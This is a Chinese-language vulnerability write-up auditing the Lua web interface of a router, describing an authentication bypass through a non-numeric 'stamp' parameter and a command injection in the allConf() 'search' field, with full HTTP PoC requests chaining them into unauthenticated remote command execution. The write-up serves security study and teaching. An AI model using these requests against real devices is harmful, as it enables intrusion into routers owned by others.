0x01 前言
赛博群里面发了个url于是搞到源码,感觉这套源码超级适合lua审计入门,所以写了一篇这个水文
zac师傅发了一个奇怪的漏洞,只要stamp不是数字就能直接登录进入系统
http://xxx.xxx.xxx.xxx/cgi-bin/luci/?stamp=1655176048%27
感觉很奇怪,于是就找漂亮鼠要了一份源码,看了看
0x02 路由分析
拿到源码以后看目录是长这样的
这是根目录下的所有文件,我们要找的是web目录,所以要先确定web目录在那里
这里对lua有个简单的方法,就是利用站点发送的url来快速确认
可以很明显的看得到,前面的各种请求都是api等关键字开头的
所以可以尝试直接在vscode里面搜索关键字进行路由查找
也就是说: http://xxx.xxx.xxx.xxx/cgi-bin/luci/api/cmd
对应的就是 entry({"api", "cmd"}, call("rpc_cmd"), nil)
其中的 rpc_cmd 就是要被执行的方法
跟进去 rpc_cmd() 函数
发现有个 local _tbl = require "luci.modules.cmd"
对应的文件就是: ./源码/rom/usr/lib/lua/luci/modules/cmd.lua
也就是说这里才是真正执行业务代码的地方
0x03 奇怪的登录源码分析
poc: http://xxx.xxx.xxx.xxx/cgi-bin/luci/?stamp=1655176048%27
前面说过,只要stamp不是数字就能直接登录进入系统
并且对于路由也不限制,只要是前台能访问的路由就会触发这个漏洞
而且我找了漂亮鼠要了一份源码
所以这种情况简单的方法就是直接全局搜索stamp
因为我猜测可能有全局过滤器这种类似的东西存在
目录: ./源码/rom/usr/lib/lua/luci/dispatcher.lua
方法: authenticator.htmlauth()
看到这个文件就感觉应该就是它了
因为 luci.http.formvalue("xxx") == PHP $_REQUEST["xxx"]
并且有一个 luci.http.formvalue("stamp", true) 正是我们查找的
而且的却是登录认证的逻辑,那么确认那里使用了 stamp 即可知道问题了
到这里就已经很清楚了因为
auth = luci.http.formvalue("auth") 默认等于 ""
time = luci.http.formvalue("stamp", true)
local md5 = tool.getMd5(sn, ip, time)
md5 又经过污染,也成功返回 ""
因此 if md5 == auth 最终返回true,然后就成功的进行了登录
这是lua弱类型的问题
估计开发人员水平很差因为 "" == nil
而且实际上 "" != nil
最终导致了这个问题
0x04 后台-命令执行漏洞
最前面说过使用 entry() 函数的,就是外部可访问的路由接口
大致搜索了一下,发现有23处,外部可访问的路由接口
路径: ./源码/rom/usr/lib/lua/luci/modules/common.lua
方法: allConf()
-- 获取配置信息
function allConf(params)
local _shell = "uci show"
local _search = params.search
if _search ~= "" then
_shell = _shell .. " | grep '" .. _search .. "'"
end
local tool = require "luci.utils.tool"
_shell = tool.filterExecShell(_shell)
return {conf = luci.sys.exec(_shell)}
end
-- 获取能力表
function capacity()
-- local tool = require "luci.utils.tool"
local json = require "dkjson"
return json.decode(luci.sys.exec("cat /tmp/rg_device/rg_device.json")) --能力表太大,请减少使用影响性能
end
从上面就可以看的出来,params.search外部可控,并且无过滤直接拼接命令,最终执行,这没啥子好说的
就是一个简单的找的过程!
// 测试POC
POST /cgi-bin/luci/api/common?auth=94157d712dd903eff145374525f43e4a HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 56
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"method":"allConf","params":{"search":"1';`sleep 3`'"}}
0x05 前台-命令执行的探讨
提示: 403 Forbidden, auth is not passed
猜测有一个全局过滤器类似的东西,所以使用vscode搜索一下即可
有了后台,没有前台,就会显的很突兀,所以又回去看了一下
目录: ./源码/rom/usr/lib/lua/luci/controller/eweb/api.lua
方法: index()->authenticator()
最终重新构造POC就变成前台rce了:
POST /cgi-bin/luci/api/common?time=aa&auth= HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 56
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"method":"allConf","params":{"search":"1';`sleep 3`'"}}
0x06 小结
这是一个很适合lua入门的源码, 还有多看群还是有好处的:)